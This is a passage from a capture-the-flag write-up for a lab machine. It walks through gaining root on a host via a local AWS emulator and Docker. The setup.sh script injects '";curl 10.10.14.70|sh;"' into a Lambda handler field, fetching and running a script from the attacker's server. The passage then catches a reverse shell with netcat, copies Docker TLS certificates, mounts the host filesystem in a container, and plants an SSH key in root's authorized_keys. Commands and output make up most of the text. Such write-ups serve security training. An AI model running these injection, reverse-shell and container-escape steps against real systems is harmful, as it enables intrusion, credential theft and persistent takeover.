2021/09/19 11:40:24 CMD: UID=0    PID=5874   | docker create -i -e DOCKER_LAMBDA_USE_STDIN=1 -e LOCALSTACK_HOSTNAME=172.17.0.2 -e EDGE_PORT=4566 -e _HANDLER=lambda.apiHandler -e AWS_LAMBDA_FUNCTION_TIMEOUT=3 -e AWS_LAMBDA_FUNCTION_NAME=processes -e AWS_LAMBDA_FUNCTION_VERSION=$LATEST -e AWS_LAMBDA_FUNCTION_INVOKED_ARN=arn:aws:lambda:us-east-1:000000000000:function:processes -e AWS_LAMBDA_COGNITO_IDENTITY={} -e NODE_TLS_REJECT_UNAUTHORIZED=0 --rm lambci/lambda:nodejs8.10 lambda.apiHandler
2021/09/19 11:40:24 CMD: UID=0    PID=5873   | /bin/sh -c CONTAINER_ID="$(docker create -i   -e DOCKER_LAMBDA_USE_STDIN="$DOCKER_LAMBDA_USE_STDIN" -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME" -e EDGE_PORT="$EDGE_PORT" -e _HANDLER="$_HANDLER" -e AWS_LAMBDA_FUNCTION_TIMEOUT="$AWS_LAMBDA_FUNCTION_TIMEOUT" -e AWS_LAMBDA_FUNCTION_NAME="$AWS_LAMBDA_FUNCTION_NAME" -e AWS_LAMBDA_FUNCTION_VERSION="$AWS_LAMBDA_FUNCTION_VERSION" -e AWS_LAMBDA_FUNCTION_INVOKED_ARN="$AWS_LAMBDA_FUNCTION_INVOKED_ARN" -e AWS_LAMBDA_COGNITO_IDENTITY="$AWS_LAMBDA_COGNITO_IDENTITY" -e NODE_TLS_REJECT_UNAUTHORIZED="$NODE_TLS_REJECT_UNAUTHORIZED"   --rm "lambci/lambda:nodejs8.10" "lambda.apiHandler")";docker cp "/tmp/localstack/zipfile.28a09a0a/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID";
2021/09/19 11:40:24 CMD: UID=0    PID=5881   | /bin/sh -c CONTAINER_ID="$(docker create -i   -e DOCKER_LAMBDA_USE_STDIN="$DOCKER_LAMBDA_USE_STDIN" -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME" -e EDGE_PORT="$EDGE_PORT" -e _HANDLER="$_HANDLER" -e AWS_LAMBDA_FUNCTION_TIMEOUT="$AWS_LAMBDA_FUNCTION_TIMEOUT" -e AWS_LAMBDA_FUNCTION_NAME="$AWS_LAMBDA_FUNCTION_NAME" -e AWS_LAMBDA_FUNCTION_VERSION="$AWS_LAMBDA_FUNCTION_VERSION" -e AWS_LAMBDA_FUNCTION_INVOKED_ARN="$AWS_LAMBDA_FUNCTION_INVOKED_ARN" -e AWS_LAMBDA_COGNITO_IDENTITY="$AWS_LAMBDA_COGNITO_IDENTITY" -e NODE_TLS_REJECT_UNAUTHORIZED="$NODE_TLS_REJECT_UNAUTHORIZED"   --rm "lambci/lambda:nodejs8.10" "lambda.apiHandler")";docker cp "/tmp/localstack/zipfile.28a09a0a/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID";

We adjust the setup.sh with a new function name to avoid conflict with the earlier created app. We also change the handler value to our command injection payload. First we break out of the quotes and add a ; to each end to make sure the payload runs. As actual payload we use the same index.html as above.

setup.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/bin/sh

API_NAME="rce"
REGION=eu-west-1
STAGE=test


aws lambda create-function \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --function-name ${API_NAME} \
    --runtime nodejs8.10 \
    --handler '";curl 10.10.14.70|sh;"'\
    --memory-size 128 \
    --zip-file fileb://api-handler.zip \
    --role arn:aws:iam::123456:role/irrelevant


LAMBDA_ARN=$(aws lambda list-functions --endpoint=http://s3-testing.stacked.htb --query "Functions[?FunctionName==\`${API_NAME}\`].FunctionArn" --output text --region ${REGION})

aws apigateway create-rest-api \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --name ${API_NAME}


API_ID=$(aws apigateway get-rest-apis --endpoint=http://s3-testing.stacked.htb --query "items[?name==\`${API_NAME}\`].id" --output text --region ${REGION})
PARENT_RESOURCE_ID=$(aws apigateway get-resources --endpoint=http://s3-testing.stacked.htb --rest-api-id ${API_ID} --query 'items[?path==`/`].id' --output text --region ${REGION})

aws apigateway create-resource \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --rest-api-id ${API_ID} \
    --parent-id ${PARENT_RESOURCE_ID} \
    --path-part "{somethingId}"


RESOURCE_ID=$(aws apigateway get-resources --endpoint=http://s3-testing.stacked.htb --endpoint=http://s3-testing.stacked.htb --rest-api-id ${API_ID} --query 'items[?path==`/{somethingId}`].id' --output text --region ${REGION})

aws apigateway put-method \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --rest-api-id ${API_ID} \
    --resource-id ${RESOURCE_ID} \
    --http-method GET \
    --request-parameters "method.request.path.somethingId=true" \
    --authorization-type "NONE" \


aws apigateway put-integration \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --rest-api-id ${API_ID} \
    --resource-id ${RESOURCE_ID} \
    --http-method GET \
    --type AWS_PROXY \
    --integration-http-method POST \
    --uri arn:aws:apigateway:${REGION}:lambda:path/2015-03-31/functions/${LAMBDA_ARN}/invocations \
    --passthrough-behavior WHEN_NO_MATCH \


aws apigateway create-deployment \
    --endpoint=http://s3-testing.stacked.htb \
    --region ${REGION} \
    --rest-api-id ${API_ID} \
    --stage-name ${STAGE} \


ENDPOINT=http://s3-testing.stacked.htb/restapis/${API_ID}/${STAGE}/_user_request_/HowMuchIsTheFish

echo "API available at: ${ENDPOINT}"
echo "Testing GET:"
curl -i ${ENDPOINT}

Now all we need to do is stand up our webserver again to serve the payload and a listener to catch the reverse shell.

1
2
1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
1
2
3
4
$ sudo nc -lnvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

Running our setup.sh again it does not fully finish because it is busy executing our reverse shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
$./setup.sh
{
    "FunctionName": "rce",
    "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:rce",
    "Runtime": "nodejs8.10",
    "Role": "arn:aws:iam::123456:role/irrelevant",
    "Handler": "\";curl 10.10.14.70|sh;\"",
    "CodeSize": 405,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2021-09-19T11:43:53.775+0000",
    "CodeSha256": "6jk3Fx3fKCfj+kwwVgxY4sqLbU3PxGNXE1PbsJ5EIh8=",
    "Version": "$LATEST",
    "VpcConfig": {},
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "769337b0-8d84-442c-b22d-94356252162a",
    "State": "Active",
    "LastUpdateStatus": "Successful",
    "PackageType": "Zip"
}
{
    "id": "k2gdi3upog",
    "name": "rce",
    "createdDate": 1632051834,
    "apiKeySource": "HEADER",
    "endpointConfiguration": {
        "types": [
            "EDGE"
        ]
    },
    "tags": {},
    "disableExecuteApiEndpoint": false
}
{
    "id": "60241i4tec",
    "parentId": "9lr12s57bd",
    "pathPart": "{somethingId}",
    "path": "/{somethingId}"
}
{
    "httpMethod": "GET",
    "authorizationType": "NONE",
    "apiKeyRequired": false
}
{
    "type": "AWS_PROXY",
    "httpMethod": "POST",
    "uri": "arn:aws:apigateway:eu-west-1:lambda:path/2015-03-31/functions/arn:aws:lambda:us-east-1:000000000000:function:rce/invocations",
    "requestParameters": {},
    "passthroughBehavior": "WHEN_NO_MATCH",
    "cacheNamespace": "38c070e7",
    "cacheKeyParameters": [],
    "integrationResponses": {
        "200": {
            "statusCode": 200,
            "responseTemplates": {
                "application/json": null
            }
        }
    }
}
{
    "id": "n2a6mn0cyv",
    "description": "",
    "createdDate": 1632051837
}
API available at: http://s3-testing.stacked.htb/restapis/k2gdi3upog/test/_user_request_/HowMuchIsTheFish
Testing GET:

We see a hit on our webserver and get a shell back on our listener, which we upgrade again using python.

1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.223.207 - - [19/Sep/2021 11:43:57] "GET / HTTP/1.1" 200 -

The nmap scan in the beginning revealed that the docker port is listening but we didn’t have the necessary certificates to interact with it. Those certificates are in the /root/.docker/ of the docker container.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ sudo nc -lnvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.129.223.207.
Ncat: Connection from 10.129.223.207:53948.
bash: cannot set terminal process group (5936): Not a tty
bash: no job control in this shell
bash-5.0# python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
bash-5.0# export TERM=xterm
export TERM=xterm
bash-5.0# ^Z
[1]+  Stopped                 sudo nc -lnvp 443
$ stty raw -echo;fg
sudo nc -lnvp 443

bash-5.0# stty rows 55 cols 236
bash-5.0# ls /root/.docker/
ca-key.pem          ca.pem              ca.srl              cert.pem            client.csr          extfile-client.cnf  extfile.cnf         key.pem

Mount host

Tranfsering the certificates over to our machine and trying to interact with docker it needs another hostname for which the cert is valid so we add stacked to our /etc/hosts.

1
2
$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=stacked.htb:2376 container ls
error during connect: Get "https://stacked.htb:2376/v1.24/containers/json": x509: certificate is valid for localhost, stacked, not stacked.htb

Now we can list all the contiainers.

1
2
3
4
$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=stacked:2376 container ls
CONTAINER ID   IMAGE                               COMMAND                  CREATED       STATUS       PORTS                                                                                                  NAMES
4cc5541e168c   0601ea177088                        "sh"                     8 hours ago   Up 8 hours   4566/tcp, 4571/tcp, 8080/tcp                                                                           eager_varahamihira
531ad09e29d7   localstack/localstack-full:0.12.6   "docker-entrypoint.sh"   8 hours ago   Up 8 hours   127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp   localstack_main

The plan now is to create a container with the host file system mounted and sh set as entrypoint. First we list all availabe images to create our container.

1
2
3
4
5
6
7
$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=stacked:2376 image ls
REPOSITORY                   TAG          IMAGE ID       CREATED        SIZE
localstack/localstack-full   0.12.6       7085b5de9f7c   2 months ago   888MB
localstack/localstack-full   <none>       0601ea177088   7 months ago   882MB
lambci/lambda                nodejs12.x   22a4ada8399c   7 months ago   390MB
lambci/lambda                nodejs10.x   db93be728e7b   7 months ago   385MB
lambci/lambda                nodejs8.10   5754fee26e6e   7 months ago   813MB

Using the second image we are able to create a container with the root of the host filesystem mounted in it and connect to it.

1
2
3
4
$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=stacked:2376 run -v /:/host -it --entrypoint sh 0601ea177088
/opt/code/localstack # cd /ho
home/  host/
/opt/code/localstack # cd /host/root/

We could already read the flag now but let’s quickly add our public ssh key to root’s authorized keys.

1
/host/root # echo 'ssh-rsa AAAAB3Nz...[snip]...QmVKMHCEU=' >> .ssh/authorized_keys

With this we can now ssh into host machine as the root user and add the flag to our collection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ssh -i root root@stacked.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-84-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 19 Sep 11:54:00 UTC 2021

  System load:              0.0
  Usage of /:               89.0% of 7.32GB
  Memory usage:             36%
  Swap usage:               0%
  Processes:                282
  Users logged in:          1
  IPv4 address for docker0: 172.17.0.1
  IPv4 address for ens160:  10.129.223.207
  IPv6 address for ens160:  dead:beef::250:56ff:feb9:636d

  => / is using 89.0% of 7.32GB
  => There is 1 zombie process.


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Sep 19 09:42:03 2021 from 10.10.14.70
root@stacked:~# wc -c /root/root.txt
33 /root/root.txt